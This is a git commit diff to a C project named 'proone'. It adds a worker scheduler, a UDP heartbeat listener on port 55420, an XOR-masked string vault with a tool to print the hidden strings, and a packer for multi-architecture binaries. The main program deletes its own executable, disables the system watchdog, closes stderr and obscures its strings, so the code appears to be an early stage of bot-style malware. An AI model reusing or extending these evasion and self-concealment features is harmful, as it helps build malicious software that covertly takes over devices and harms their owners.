diff options
author | David Timber <david@lyset.snart.me> | 2019-12-31 02:52:35 +1100 |
---|---|---|
committer | David Timber <david@lyset.snart.me> | 2019-12-31 02:52:35 +1100 |
commit | 85d78af0cd8b809abc28491c46c648a242053044 (patch) | |
tree | 3205ee7fce91644b08b61dac624fc9cab448e6a1 | |
parent | f765952dc8b77ad36e4f624086441d290e82bf66 (diff) |
checkpoint
-rw-r--r-- | src/Makefile.am | 13 | ||||
-rw-r--r-- | src/proone-print-all-data.c | 28 | ||||
-rw-r--r-- | src/proone-unpacker.c | 2 | ||||
-rw-r--r-- | src/proone.c | 213 | ||||
-rw-r--r-- | src/proone.h | 7 | ||||
-rw-r--r-- | src/proone_data.c | 6 | ||||
-rw-r--r-- | src/proone_data.h | 2 | ||||
-rw-r--r-- | src/proone_dvault.c | 85 | ||||
-rw-r--r-- | src/proone_dvault.h | 18 | ||||
-rw-r--r-- | src/proone_heartbeat-worker.c | 157 | ||||
-rw-r--r-- | src/proone_heartbeat-worker.h | 9 | ||||
-rw-r--r-- | src/proone_pack.c | 48 | ||||
-rw-r--r-- | src/proone_pack.h | 15 | ||||
-rw-r--r-- | src/proone_protocol.h | 7 | ||||
-rw-r--r-- | src/proone_rnd.c | 3 | ||||
-rw-r--r-- | src/proone_rnd.h | 5 | ||||
-rw-r--r-- | src/proone_util.c | 40 | ||||
-rw-r--r-- | src/proone_util.h | 11 | ||||
-rw-r--r-- | src/proone_worker.c | 49 | ||||
-rw-r--r-- | src/proone_worker.h | 64 |
20 files changed, 675 insertions, 107 deletions
diff --git a/src/Makefile.am b/src/Makefile.am index 0a7364d..910f7ba 100644 --- a/src/Makefile.am +++ b/src/Makefile.am @@ -2,28 +2,30 @@ TARGET_FLAGS = DEV_FLAGS = if DEBUG TARGET_FLAGS += -g -O0 -DEV_FLAGS += -g -O0 +DEV_FLAGS += -g -O0 -DDEBUG else TARGET_FLAGS += -Os DEV_FLAGS += -Os endif -AM_CFLAGS = -std=c11 -Wall -Wno-switch $(DEV_FLAGS) +AM_CFLAGS = -std=c11 -pedantic -Wall -Wextra -Wno-switch -Wno-unused-parameter -D_GNU_SOURCE $(DEV_FLAGS) noinst_LIBRARIES = libproone.a -bin_PROGRAMS = proone proone-packer proone-unpacker proone-list-arch proone-mask +bin_PROGRAMS = proone proone-packer proone-unpacker proone-list-arch proone-mask proone-print-all-data libproone_a_SOURCES =\ proone_protocol.c\ proone_pack.c\ - proone_data.c\ proone_dvault.c\ + proone_data.c\ proone_util.c\ proone_rnd.c proone_LDFLAGS = -static proone_LDADD = libproone.a $(DEP_LIBS) -lrt proone_SOURCES =\ + proone_worker.c\ + proone_heartbeat-worker.c\ proone.c proone_packer_LDADD = libproone.a @@ -39,5 +41,8 @@ proone_list_arch_SOURCES = proone-list-arch.c proone_mask_LDADD = libproone.a proone_mask_SOURCES = proone-mask.c +proone_print_all_data_LDADD = libproone.a +proone_print_all_data_SOURCES = proone-print-all-data.c + if TESTS endif diff --git a/src/proone-print-all-data.c b/src/proone-print-all-data.c new file mode 100644 index 0000000..0c89cba --- /dev/null +++ b/src/proone-print-all-data.c @@ -0,0 +1,28 @@ +#include <stdio.h> +#include <stdlib.h> + +#include "proone_dvault.h" + + +int main (void) { + proone_data_key_t i = PROONE_DATA_KEY_NONE + 1; + proone_data_type_t type; + + proone_init_dvault(); + + for (i = PROONE_DATA_KEY_NONE + 1; i < NB_PROONE_DATA_KEY; i += 1) { + type = (proone_data_type_t)PROONE_DATA_DICT[i][0]; + + switch (type) { + case PROONE_DATA_TYPE_CSTR: + printf("%10lld: %s\n", (long long)i, proone_dvault_unmask_entry_cstr(i)); + break; + default: + fprintf(stderr, "Error: unhandled data type (%d)'%s'\n", (int)type, proone_data_type2str(type)); + abort(); + } + } + + proone_deinit_dvault(); + return 0; +} diff --git a/src/proone-unpacker.c b/src/proone-unpacker.c index 860cbf6..52fd48a 100644 --- a/src/proone-unpacker.c +++ b/src/proone-unpacker.c @@ -126,7 +126,7 @@ int main (const int argc, const char **args) { exit_code = 2; break; } - if (write(fd, bin_archive.data + bin_archive.offset_arr[i], bin_archive.size_arr[i]) != bin_archive.size_arr[i]) { + if (write(fd, bin_archive.data + bin_archive.offset_arr[i], bin_archive.size_arr[i]) != (ssize_t)bin_archive.size_arr[i]) { perror("write()"); exit_code = 2; break; diff --git a/src/proone.c b/src/proone.c index 3cfd809..5e2d672 100644 --- a/src/proone.c +++ b/src/proone.c @@ -1,8 +1,3 @@ -#define _GNU_SOURCE -#include "proone.h" -#include "proone_util.h" -#include "proone_dvault.h" - #include <stdbool.h> #include <stddef.h> #include <stdint.h> @@ -14,13 +9,36 @@ #include <unistd.h> #include <errno.h> #include <fcntl.h> +#include <signal.h> #include <sys/stat.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/file.h> +#include "proone.h" +#include "proone_util.h" +#include "proone_dvault.h" +#include "proone_heartbeat-worker.h" + + +struct proone_global pne_global; -proone_global_t pne_global; + +typedef struct { + proone_worker_t worker; + proone_worker_sched_req_t sched_req; +} worker_tuple_t; + +typedef struct { + struct pollfd *arr; + size_t size; +} pollfd_pool_t; + +static worker_tuple_t worker_pool[1]; +static size_t worker_pool_size = 0; +static void (*proc_fin_call_ptr)(void) = NULL; +static bool finalising = false; +static pollfd_pool_t pollfd_pool; static bool ensure_single_instance (void) { @@ -111,23 +129,48 @@ static void disasble_watchdog (void) { } } +static void handle_interrupt (const int sig) { + if (pne_global.caught_signal == 0) { + pne_global.caught_signal = sig; + } + signal(sig, SIG_DFL); +} + +static void proc_fin_call (void) { + if (pne_global.caught_signal != 0) { + size_t i; + worker_tuple_t *wt; + + for (i = 0; i < worker_pool_size; i += 1) { + wt = worker_pool + i; + wt->worker.fin(wt->worker.ctx); + } + + proc_fin_call_ptr = proone_empty_func; + finalising = true; + } +} + int main (const int argc, char **args) { int exit_code = 0; - bool main_loop_flag = true; + size_t i; + worker_tuple_t *wt; + proone_worker_sched_info_t sched_info; pne_global.has_proc_lim_lock = false; pne_global.bin_ready = false; + pne_global.caught_signal = 0; + pne_global.rnd = NULL; proone_init_unpack_bin_archive_result(&pne_global.bin_pack); proone_init_bin_archive(&pne_global.bin_archive); /* quick prep. IN THIS ORDER! */ + proone_init_dvault(); +#ifndef DEBUG delete_myself(args[0]); - if (!ensure_single_instance()) { - exit_code = 1; - goto END; - } disasble_watchdog(); +#endif init_rnd_engine(); // get fed with the bin archive @@ -144,15 +187,159 @@ int main (const int argc, char **args) { close(STDERR_FILENO); errno = 0; - do { + // install signal handlers + // try to exit gracefully upon reception of these signals + signal(SIGINT, handle_interrupt); + signal(SIGTERM, handle_interrupt); +#ifndef DEBUG + signal(SIGPIPE, SIG_IGN); +#endif + + if (!ensure_single_instance()) { + exit_code = 1; + goto END; + } + + // init workers + if (proone_alloc_heartbeat_worker(&worker_pool[worker_pool_size].worker)) { + worker_pool_size += 1; + } + + // TODO + + for (i = 0; i < worker_pool_size; i += 1) { + proone_init_worker_sched_req(&worker_pool[i].sched_req, NULL); + } + + if (worker_pool_size == 0 || pne_global.caught_signal != 0) { + goto END; + } + + proc_fin_call_ptr = proc_fin_call; + + proone_succeed_or_die(clock_gettime(CLOCK_MONOTONIC, &sched_info.last_tick)); + pollfd_pool.arr = NULL; + pollfd_pool.size = 0; + while (true) { + proone_worker_sched_flag_t all_sched_flag = PROONE_WORKER_SCHED_FLAG_NONE; + struct timespec timeout; + size_t total_pollfd_size = 0; + bool worked = false; + + proone_succeed_or_die(clock_gettime(CLOCK_MONOTONIC, &sched_info.this_tick)); + sched_info.tick_diff = proone_sub_timespec(&sched_info.this_tick, &sched_info.last_tick); + sched_info.real_tick_diff = proone_real_timespec(&sched_info.tick_diff); + + proc_fin_call_ptr(); - } while (main_loop_flag); + for (i = 0; i < worker_pool_size; i += 1) { + wt = worker_pool + i; + + if (wt->worker.has_finalised(wt->worker.ctx)) { + continue; + } + + wt->worker.work(wt->worker.ctx, &sched_info, &wt->sched_req); + worked |= true; + + if (wt->sched_req.flags & PROONE_WORKER_SCHED_FLAG_TIMEOUT) { + if (all_sched_flag & PROONE_WORKER_SCHED_FLAG_TIMEOUT) { + if (proone_cmp_timespec(&timeout, &wt->sched_req.timeout) > 0) { + timeout = wt->sched_req.timeout; + } + } + else { + timeout = wt->sched_req.timeout; + } + } + if (wt->sched_req.flags & PROONE_WORKER_SCHED_FLAG_POLL) { + total_pollfd_size += wt->sched_req.pollfd_arr_size; + } + + all_sched_flag |= wt->sched_req.flags; + } + + sched_info.last_tick = sched_info.this_tick; + + if (!worked) { + if (!finalising) { + exit_code = 1; + } + break; + } + else if (all_sched_flag & PROONE_WORKER_SCHED_FLAG_POLL) { + void *ny_mem; + size_t pollfd_ptr; + + ny_mem = realloc(pollfd_pool.arr, total_pollfd_size * sizeof(struct pollfd)); + if (ny_mem != NULL) { + pollfd_pool.arr = (struct pollfd*)ny_mem; + pollfd_pool.size = total_pollfd_size; + + pollfd_ptr = 0; + for (i = 0; i < worker_pool_size; i += 1) { + wt = &worker_pool[i]; + if (wt->sched_req.flags & PROONE_WORKER_SCHED_FLAG_POLL) { + wt->sched_req.pollfd_ready = false; + memcpy(pollfd_pool.arr + pollfd_ptr, wt->sched_req.pollfd_arr, wt->sched_req.pollfd_arr_size * sizeof(struct pollfd)); + pollfd_ptr += wt->sched_req.pollfd_arr_size; + } + } + + if (ppoll(pollfd_pool.arr, pollfd_pool.size, all_sched_flag & PROONE_WORKER_SCHED_FLAG_TIMEOUT ? &timeout : NULL, NULL) < 0) { + switch (errno) { + case EINTR: + case ENOMEM: + break; + default: + abort(); + } + } + else { + pollfd_ptr = 0; + for (i = 0; i < worker_pool_size; i += 1) { + wt = &worker_pool[i]; + if (wt->sched_req.flags & PROONE_WORKER_SCHED_FLAG_POLL) { + wt->sched_req.pollfd_ready = true; + memcpy(wt->sched_req.pollfd_arr, pollfd_pool.arr + pollfd_ptr, wt->sched_req.pollfd_arr_size); + pollfd_ptr += wt->sched_req.pollfd_arr_size; + } + } + } + } + } + else if (all_sched_flag & PROONE_WORKER_SCHED_FLAG_TIMEOUT) { + if (nanosleep(&timeout, NULL) < 0 && errno != EINTR) { + abort(); + } + } + } END: + free(pollfd_pool.arr); + pollfd_pool.arr = NULL; + pollfd_pool.size = 0; + + for (i = 0; i < worker_pool_size; i += 1) { + wt = &worker_pool[i]; + wt->worker.free(wt->worker.ctx); + wt->sched_req.mem_func.free(&wt->sched_req); + } + if (pne_global.has_proc_lim_lock) { shm_unlink(proone_dvault_unmask_entry_cstr(PROONE_DATA_KEY_PROC_LIM_SHM)); proone_dvault_reset_dict(); + pne_global.has_proc_lim_lock = false; } + proone_free_bin_archive(&pne_global.bin_archive); + proone_free_unpack_bin_archive_result(&pne_global.bin_pack); + pne_global.bin_ready = false; + + proone_free_rnd_engine(pne_global.rnd); + pne_global.rnd = NULL; + + proone_deinit_dvault(); + return exit_code; } diff --git a/src/proone.h b/src/proone.h index e1dcd48..c40a1b1 100644 --- a/src/proone.h +++ b/src/proone.h @@ -5,13 +5,14 @@ #include <stdbool.h> -typedef struct { +struct proone_global { bool has_proc_lim_lock; bool bin_ready; + int caught_signal; proone_rnd_engine_t *rnd; proone_unpack_bin_archive_result_t bin_pack; proone_bin_archive_t bin_archive; -} proone_global_t; +}; -extern proone_global_t pne_global; +extern struct proone_global pne_global; diff --git a/src/proone_data.c b/src/proone_data.c index 32257b1..7f1a4e7 100644 --- a/src/proone_data.c +++ b/src/proone_data.c @@ -1,9 +1,9 @@ #include "proone_data.h" -uint8_t *PROONE_DATA_DICT[] = { +uint8_t *PROONE_DATA_DICT[NB_PROONE_DATA_KEY] = { // PROONE_DATA_KEY_PROC_LIM_SHM: "/31e4f17c-db76-4332-af48-fd9fb8453f8f" - (uint8_t*)"\x00\xE3\x00\x25\xC7\x7C\xE3\x28\xD1\x41\x61\x5D\x88\xF7\xA3\xC6\x9E\x69\xBA\x1D\x27\x5F\x4C\x33\xA4\x3C\x2F\x0B\x44\x6F\x4A\xEA\x90\xC0\x42\x55\x50\x4B\xD8\xAD\xEC", + (uint8_t*)"\x00\x7F\x00\x25\x09\x24\x82\xC5\x8F\x65\xF8\x96\x35\x02\xF5\xAD\xC9\xF4\x83\x60\xD2\x33\x21\xB1\x3F\xCB\x8C\x8E\x4E\xF8\x18\xBE\x06\x33\xC5\xC4\x43\x7D\x2C\xA3\x7B", // PROONE_DATA_KEY_SIGN_INIT_OK: "cd264451-2156-4e12-ae1c-89931878a54f" - (uint8_t*)"\x00\xDB\x00\x24\x89\x72\x7B\xCC\xF8\x25\x73\xFF\xC5\x7D\xE3\x78\xD3\x0A\x64\x0F\xDA\xE8\xEA\xC5\xCC\x6E\xF4\x04\x2C\x55\x47\x2D\xF4\x62\x2C\x0B\x08\x3C\x1A\xB5" + (uint8_t*)"\x00\x37\x00\x24\x41\xEC\xB4\xD8\xF2\x70\xFE\x92\xC1\x6B\xBD\xB8\x49\x46\x3E\x58\x96\x5C\xB2\x4B\x1E\x23\x1E\x90\xC0\x2C\x95\xCA\xE8\x06\xC2\x00\x95\x58\x9F\x8F", }; diff --git a/src/proone_data.h b/src/proone_data.h index 814a86c..1248565 100644 --- a/src/proone_data.h +++ b/src/proone_data.h @@ -10,4 +10,4 @@ typedef enum { } proone_data_key_t; -extern uint8_t *PROONE_DATA_DICT[]; +extern uint8_t *PROONE_DATA_DICT[NB_PROONE_DATA_KEY]; diff --git a/src/proone_dvault.c b/src/proone_dvault.c index e60000e..0347871 100644 --- a/src/proone_dvault.c +++ b/src/proone_dvault.c @@ -7,7 +7,7 @@ #include <string.h> -static const uint8_t PROONE_DATA_VAULT_MASK[256] = { +const uint8_t PROONE_DVAULT_MASK[] = { 0xA2, 0x7A, 0x61, 0x65, 0x78, 0xBE, 0x95, 0x8A, 0xBF, 0x07, 0x52, 0x8F, 0x0E, 0x6F, 0x0B, 0xD8, 0x5B, 0xD4, 0x77, 0x9D, 0x39, 0x28, 0x72, 0xE2, 0x42, 0x5D, 0xE7, 0x92, 0xDD, 0xAF, @@ -19,7 +19,7 @@ static const uint8_t PROONE_DATA_VAULT_MASK[256] = { 0x15, 0xAC, 0xF9, 0xD9, 0x3E, 0xF5, 0x38, 0xF4, 0x6D, 0xAB, 0xE9, 0x4C, 0x0D, 0x3F, 0x71, 0xDF, 0xC0, 0xB9, 0xD5, 0xA6, 0x53, 0xED, 0xE6, 0x82, 0x73, 0xC8, 0xA5, 0x08, 0x48, 0x1A, - 0x79, 0x05, 0x10, 0x75, 0xF3, 0xE4, 0x85, 0x74, 0xDC, 0x2C, + 0x79, 0x05, 0x10, 0x75, 0xF3, 0xE4, 0x85, 0xEB, 0xDC, 0x2C, 0x23, 0xCD, 0xBC, 0x1C, 0x45, 0x24, 0x5C, 0x26, 0x17, 0xB3, 0xA0, 0xBB, 0x03, 0xC9, 0xA1, 0x56, 0x2F, 0x91, 0xCF, 0xFE, 0xC2, 0xAE, 0x54, 0xE1, 0x00, 0x13, 0x9C, 0x5E, 0xAD, 0xB8, @@ -31,30 +31,26 @@ static const uint8_t PROONE_DATA_VAULT_MASK[256] = { 0x9A, 0x35, 0xBA, 0xD7, 0x66, 0xE0, 0x19, 0xF2, 0x04, 0xFB, 0x70, 0xD6, 0xFF, 0x40, 0x83, 0xDE, 0xD0, 0xB7, 0xA8, 0xEA, 0x16, 0x49, 0xFA, 0xCC, 0x11, 0x46, 0xCE, 0xE8, 0x4F, 0xD2, - 0x4D, 0xE5, 0x27, 0x50, 0x6A, 0xEB, 0xDA, 0xC7, 0xA4, 0xA9, + 0x4D, 0xE5, 0x27, 0x50, 0x6A, 0x74, 0xDA, 0xC7, 0xA4, 0xA9, 0x5F, 0x97, 0x29, 0x14, 0x6C, 0x7E, 0x1E, 0xC5, 0x5A, 0x1B, 0x33, 0x69, 0x09, 0x2E, 0xD3, 0xF6 }; -static proone_data_key_t pne_cur_unmasked = PROONE_DATA_KEY_NONE; +static uint8_t *unmasked_buf = NULL; +static size_t unmasked_buf_size = 0; -static void pne_dvault_invert (const size_t size, uint8_t *m, const uint8_t salt) { - size_t i; - - for (i = 0; i < size; i += 1) { - m[i] ^= PROONE_DATA_VAULT_MASK[(uint8_t)(i + salt)]; - } -} - static void pne_dvault_invert_entry (const proone_data_key_t key) { - pne_dvault_invert((size_t)PROONE_DATA_DICT[key][2] << 8 | (size_t)PROONE_DATA_DICT[key][3], PROONE_DATA_DICT[key], PROONE_DATA_DICT[key][1]); + const size_t entry_size = proone_dvault_get_entry_size(key); + + memcpy(unmasked_buf, PROONE_DATA_DICT[key] + 4, entry_size); + proone_dvault_invert_mem(entry_size, unmasked_buf, proone_dvault_get_entry_salt(key)); } static void pne_dvault_entry_check (const proone_data_key_t key, const proone_data_type_t type) { - if ((PROONE_DATA_KEY_NONE < key && key < NB_PROONE_DATA_KEY) || - (PROONE_DATA_TYPE_NONE < type && type <= NB_PROONE_DATA_TYPE) || - type != (proone_data_type_t)PROONE_DATA_DICT[key][0]) { + if (!(PROONE_DATA_KEY_NONE < key && key < NB_PROONE_DATA_KEY) || + !(PROONE_DATA_TYPE_NONE < type && type < NB_PROONE_DATA_TYPE) || + type != proone_dvault_get_entry_data_type(key)) { abort(); } } @@ -74,6 +70,14 @@ proone_data_type_t proone_str2data_type (const char *str) { return PROONE_DATA_TYPE_NONE; } +void proone_dvault_invert_mem (const size_t size, uint8_t *m, const uint8_t salt) { + size_t i; + + for (i = 0; i < size; i += 1) { + m[i] ^= PROONE_DVAULT_MASK[(i + (size_t)salt) % 256]; + } +} + void proone_init_dvault_mask_result (proone_dvault_mask_result_t *r) { r->result = PROONE_DVAULT_MASK_OK; r->str = NULL; @@ -117,26 +121,55 @@ proone_dvault_mask_result_t proone_dvault_mask (const proone_data_type_t type, c (uint8_t)((0x000000FF & (uint32_t)data_size) >> 0)); for (i = 0; i < data_size; i += 1) { - sprintf(ret.str + 4 * 4 + 4 * i, "\\x%02X", data[i] ^ PROONE_DATA_VAULT_MASK[(uint8_t)(i + salt)]); + sprintf(ret.str + 4 * 4 + 4 * i, "\\x%02X", data[i] ^ PROONE_DVAULT_MASK[(i + (size_t)salt) % 256]); } return ret; } +void proone_init_dvault (void) { + size_t max_size = 0; + size_t entry_size; + proone_data_key_t i; + + for (i = PROONE_DATA_KEY_NONE + 1; i < NB_PROONE_DATA_KEY; i += 1) { + entry_size = proone_dvault_get_entry_size(i); + if (entry_size > max_size) { + max_size = entry_size; + } + } + + unmasked_buf = malloc(max_size); + unmasked_buf_size = max_size; + if (unmasked_buf == NULL) { + abort(); + } +} + +void proone_deinit_dvault (void) { + free(unmasked_buf); + unmasked_buf = NULL; +} + +proone_data_type_t proone_dvault_get_entry_data_type (const proone_data_key_t key) { + return (proone_data_type_t)PROONE_DATA_DICT[key][0]; +} + +size_t proone_dvault_get_entry_size (const proone_data_key_t key) { + return (size_t)PROONE_DATA_DICT[key][2] << 8 | (size_t)PROONE_DATA_DICT[key][3]; +} + +uint8_t proone_dvault_get_entry_salt (const proone_data_key_t key) { + return PROONE_DATA_DICT[key][1]; +} + const char *proone_dvault_unmask_entry_cstr (const proone_data_key_t key) { proone_dvault_reset_dict(); pne_dvault_entry_check(key, PROONE_DATA_TYPE_CSTR); pne_dvault_invert_entry(key); - pne_cur_unmasked = key; - return (const char*)PROONE_DATA_DICT[key] + 4; + return (const char*)unmasked_buf; } void proone_dvault_reset_dict (void) { - if (pne_cur_unmasked == PROONE_DATA_KEY_NONE) { - return; - } - else { - pne_dvault_invert_entry(pne_cur_unmasked); - pne_cur_unmasked = PROONE_DATA_KEY_NONE; - } + memset(unmasked_buf, 0, unmasked_buf_size); } diff --git a/src/proone_dvault.h b/src/proone_dvault.h index ac98478..0884c98 100644 --- a/src/proone_dvault.h +++ b/src/proone_dvault.h @@ -1,8 +1,12 @@ #pragma once +#include <stddef.h> +#include <stdbool.h> +#include <stdint.h> + #include "proone_data.h" -#include <stddef.h> +typedef struct proone_dvault_mask_result proone_dvault_mask_result_t; typedef enum { PROONE_DATA_TYPE_NONE = -1, @@ -17,19 +21,27 @@ typedef enum { PROONE_DVAULT_MASK_INVALID_TYPE } proone_dvault_mask_result_code_t; -typedef struct { +struct proone_dvault_mask_result { size_t str_len; char *str; proone_dvault_mask_result_code_t result; -} proone_dvault_mask_result_t; +}; + +extern const uint8_t PROONE_DVAULT_MASK[256]; const char *proone_data_type2str (const proone_data_type_t t); proone_data_type_t proone_str2data_type (const char *str); +void proone_dvault_invert_mem (const size_t size, uint8_t *m, const uint8_t salt); void proone_init_dvault_mask_result (proone_dvault_mask_result_t *r); void proone_free_dvault_mask_result (proone_dvault_mask_result_t *r); proone_dvault_mask_result_t proone_dvault_mask (const proone_data_type_t type, const uint8_t salt, const size_t data_size, const uint8_t *data); +void proone_init_dvault (void); +void proone_deinit_dvault (void); +proone_data_type_t proone_dvault_get_entry_data_type (const proone_data_key_t key); +size_t proone_dvault_get_entry_size (const proone_data_key_t key); +uint8_t proone_dvault_get_entry_salt (const proone_data_key_t key); const char *proone_dvault_unmask_entry_cstr (const proone_data_key_t key); void proone_dvault_reset_dict (void); diff --git a/src/proone_heartbeat-worker.c b/src/proone_heartbeat-worker.c new file mode 100644 index 0000000..b0d4be2 --- /dev/null +++ b/src/proone_heartbeat-worker.c @@ -0,0 +1,157 @@ +#include "proone_heartbeat-worker.h" +#include "proone_dvault.h" + +#include <stdlib.h> +#include <string.h> + +#include <unistd.h> +#include <fcntl.h> +#include <sys/socket.h> +#include <arpa/inet.h> +#include <netinet/in.h> + +#define DECL_CTX_PTR(p) hb_w_ctx_t*ctx=(hb_w_ctx_t*)p + +typedef struct hb_w_ctx hb_w_ctx_t; + +struct hb_w_ctx { + int fd; + int domain; + uint8_t rcv_buf[256]; + bool finalised; +}; + +static const uint16_t HEARTBEAT_DEFAULT_BIND_PORT = 55420; + +static void heartbeat_worker_free (void *in_ctx) { + DECL_CTX_PTR(in_ctx); + close(ctx->fd); + free(ctx); +} + +static void heartbeat_worker_fin (void *in_ctx) { + DECL_CTX_PTR(in_ctx); + ctx->finalised = true; +} + +static void heartbeat_worker_work (void *in_ctx, const proone_worker_sched_info_t *sched_info, proone_worker_sched_req_t *sched_req) { + DECL_CTX_PTR(in_ctx); + + if (sched_req->pollfd_ready) { + const short revents = sched_req->pollfd_arr[0].revents; + + if (revents & (POLLERR | POLLHUP | POLLNVAL)) { + ctx->finalised = true; + sched_req->flags = PROONE_WORKER_SCHED_FLAG_NONE; + return; + } + if (revents & POLLIN) { + socklen_t addr_len; + + if (ctx->domain == AF_INET) { + struct sockaddr_in remote_addr; + + addr_len = sizeof(struct sockaddr_in); + if (recvfrom(ctx->fd, ctx->rcv_buf, sizeof(ctx->rcv_buf), 0, (struct sockaddr*)&remote_addr, &addr_len) == sizeof(ctx->rcv_buf)) { + proone_dvault_invert_mem(sizeof(ctx->rcv_buf) - 1, ctx->rcv_buf + 1, ctx->rcv_buf[0]); + sendto(ctx->fd, ctx->rcv_buf + 1, sizeof(ctx->rcv_buf) - 1, 0, (const struct sockaddr*)&remote_addr, addr_len); + } + } + else { + struct sockaddr_in6 remote_addr; + + addr_len = sizeof(struct sockaddr_in6); + if (recvfrom(ctx->fd, ctx->rcv_buf, sizeof(ctx->rcv_buf), 0, (struct sockaddr*)&remote_addr, &addr_len) == sizeof(ctx->rcv_buf)) { + proone_dvault_invert_mem(sizeof(ctx->rcv_buf) - 1, ctx->rcv_buf + 1, ctx->rcv_buf[0]); + sendto(ctx->fd, ctx->rcv_buf + 1, sizeof(ctx->rcv_buf) - 1, 0, (const struct sockaddr*)&remote_addr, addr_len); + } + } + } + } + + sched_req->flags = PROONE_WORKER_SCHED_FLAG_POLL; + sched_req->mem_func.alloc(sched_req, 1); + sched_req->pollfd_arr[0].fd = ctx->fd; + sched_req->pollfd_arr[0].events = POLLIN; +} + +static bool heartbeat_worker_has_finalised (void *in_ctx) { + DECL_CTX_PTR(in_ctx); + return ctx->finalised; +} + + +bool proone_alloc_heartbeat_worker (proone_worker_t *w) { + bool ret = true; + hb_w_ctx_t *ctx = NULL; + + ctx = (hb_w_ctx_t*)malloc(sizeof(hb_w_ctx_t)); + if (ctx == NULL) { + ret = false; + goto END; + } + ctx->fd = -1; + ctx->domain = 0; + ctx->finalised = false; + + ctx->fd = socket(AF_INET6, SOCK_DGRAM, 0); + if (ctx->fd < 0) { + ctx->fd = socket(AF_INET, SOCK_DGRAM, 0); + + if (ctx->fd < 0) { + ret = false; + goto END; + } + ctx->domain = AF_INET; + } + else { + ctx->domain = AF_INET6; + } + + if (fcntl(ctx->fd, F_SETFL, O_NONBLOCK) < 0) { + ret = false; + goto END; + } + + if (ctx->domain == AF_INET) { + struct sockaddr_in local_addr; + + memset(&local_addr, 0, sizeof(struct sockaddr_in)); + local_addr.sin_family = AF_INET; + local_addr.sin_port = htons(HEARTBEAT_DEFAULT_BIND_PORT); + local_addr.sin_addr.s_addr = INADDR_ANY; + + if (bind(ctx->fd, (const struct sockaddr*)&local_addr, sizeof(struct sockaddr_in)) < 0) { + ret = false; + goto END; + } + } + else { + struct sockaddr_in6 local_addr; + + memset(&local_addr, 0, sizeof(struct sockaddr_in6)); + local_addr.sin6_family = AF_INET6; + local_addr.sin6_port = htons(HEARTBEAT_DEFAULT_BIND_PORT); + + if (bind(ctx->fd, (const struct sockaddr*)&local_addr, sizeof(struct sockaddr_in6)) < 0) { + ret = false; + goto END; + } + } + + w->ctx = ctx; + w->free = heartbeat_worker_free; + w->fin = heartbeat_worker_fin; + w->work = heartbeat_worker_work; + w->has_finalised = heartbeat_worker_has_finalised; + +END: + if (!ret) { + if (ctx != NULL) { + close(ctx->fd); + } + free(ctx); + } + + return ret; +} diff --git a/src/proone_heartbeat-worker.h b/src/proone_heartbeat-worker.h new file mode 100644 index 0000000..aa4c66c --- /dev/null +++ b/src/proone_heartbeat-worker.h @@ -0,0 +1,9 @@ +#pragma once +#include "proone_worker.h" + +#include <stddef.h> +#include <stdbool.h> +#include <stdint.h> + + +bool proone_alloc_heartbeat_worker (proone_worker_t *w); diff --git a/src/proone_pack.c b/src/proone_pack.c index 3d106a3..f9d8c3b 100644 --- a/src/proone_pack.c +++ b/src/proone_pack.c @@ -28,8 +28,6 @@ void proone_init_bin_archive (proone_bin_archive_t *a) { void proone_init_unpack_bin_archive_result (proone_unpack_bin_archive_result_t *r) { r->data_size = 0; r->data = NULL; - r->raw_data_size = 0; - r->raw_data = NULL; r->result = PROONE_UNPACK_BIN_ARCHIVE_OK; r->err = 0; } @@ -82,21 +80,11 @@ proone_unpack_bin_archive_result_t proone_unpack_bin_archive (const int fd) { break; } - ny_buf = realloc(ret.raw_data, ret.raw_data_size + fd_read_size); - if (ny_buf == NULL) { - ret.result = PROONE_UNPACK_BIN_ARCHIVE_MEM_ERR; - ret.err = errno; - goto END; - } - ret.raw_data = (uint8_t*)ny_buf; - memcpy(ret.raw_data + ret.raw_data_size, fd_buf, fd_read_size); - ret.raw_data_size += fd_read_size; - // remove white spaces fd_data_size = fd_read_size; - for (i = 0; i < fd_data_size; ) { + for (i = 0; i < (size_t)fd_data_size; ) { if (isspace(fd_buf[i])) { - if (i + 1 >= fd_data_size) { + if (i + 1 >= (size_t)fd_data_size) { // last trailing whitespace fd_data_size -= 1; break; @@ -167,11 +155,8 @@ END: if (ret.result != PROONE_UNPACK_BIN_ARCHIVE_OK) { free(ret.data); - free(ret.raw_data); ret.data = NULL; ret.data_size = 0; - ret.raw_data = NULL; - ret.raw_data_size = 0; } return ret; @@ -179,13 +164,12 @@ END: proone_index_bin_archive_result_code_t proone_index_bin_archive (proone_unpack_bin_archive_result_t *in, proone_bin_archive_t *out) { proone_index_bin_archive_result_code_t ret = PROONE_INDEX_BIN_ARCHIVE_OK; - size_t buf_pos = 0, arr_cnt = 0, offset_arr[NB_PROONE_ARCH], size_arr[NB_PROONE_ARCH], i; + size_t buf_pos = 0, arr_cnt = 0, offset_arr[NB_PROONE_ARCH], size_arr[NB_PROONE_ARCH]; proone_arch_t arch; uint32_t bin_size; proone_arch_t arch_arr[NB_PROONE_ARCH]; proone_bin_archive_t archive; uint8_t *out_buf; - void *ny_buf; memset(arch_arr, 0, sizeof(proone_arch_t) * NB_PROONE_ARCH); memset(offset_arr, 0, sizeof(size_t) * NB_PROONE_ARCH); @@ -225,27 +209,16 @@ proone_index_bin_archive_result_code_t proone_index_bin_archive (proone_unpack_b archive.offset_arr = (size_t*)(out_buf + sizeof(proone_arch_t) * arr_cnt); archive.size_arr = (size_t*)(out_buf + sizeof(proone_arch_t) * arr_cnt + sizeof(size_t*) * arr_cnt); + archive.data_size = in->data_size; + archive.data = in->data; archive.nb_binaries = arr_cnt; - buf_pos = 0; - for (i = 0; i < arr_cnt; i += 1) { - memmove(in->data + buf_pos, in->data + offset_arr[i], size_arr[i]); - archive.arch_arr[i] = arch_arr[i]; - archive.offset_arr[i] = buf_pos; - archive.size_arr[i] = size_arr[i]; - buf_pos += size_arr[i]; - } + memcpy(archive.arch_arr, arch_arr, arr_cnt * sizeof(proone_arch_t)); + memcpy(archive.offset_arr, offset_arr, arr_cnt * sizeof(size_t)); + memcpy(archive.size_arr, size_arr, arr_cnt * sizeof(size_t)); - ny_buf = realloc(in->data, buf_pos); - if (ny_buf == NULL) { - ret = PROONE_INDEX_BIN_ARCHIVE_MEM_ERR; - goto END; - } - archive.data = (uint8_t*)ny_buf; - archive.data_size = buf_pos; - - *out = archive; in->data = NULL; in->data_size = 0; + *out = archive; END: if (ret != PROONE_INDEX_BIN_ARCHIVE_OK) { @@ -257,11 +230,8 @@ END: void proone_free_unpack_bin_archive_result (proone_unpack_bin_archive_result_t *r) { free(r->data); - 